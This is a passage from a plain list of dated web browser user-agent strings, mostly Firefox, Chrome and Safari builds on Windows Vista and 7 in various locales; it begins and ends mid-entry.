fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b1) Gecko/20081007 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; id; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ko; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB7.1 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100105 Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6;MEGAUPLOAD 1.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.1b3;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.5.3;MEGAUPLOAD 1.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbVD/3.8.0.12304 Firefox/3.6.13 ( .NET CLR 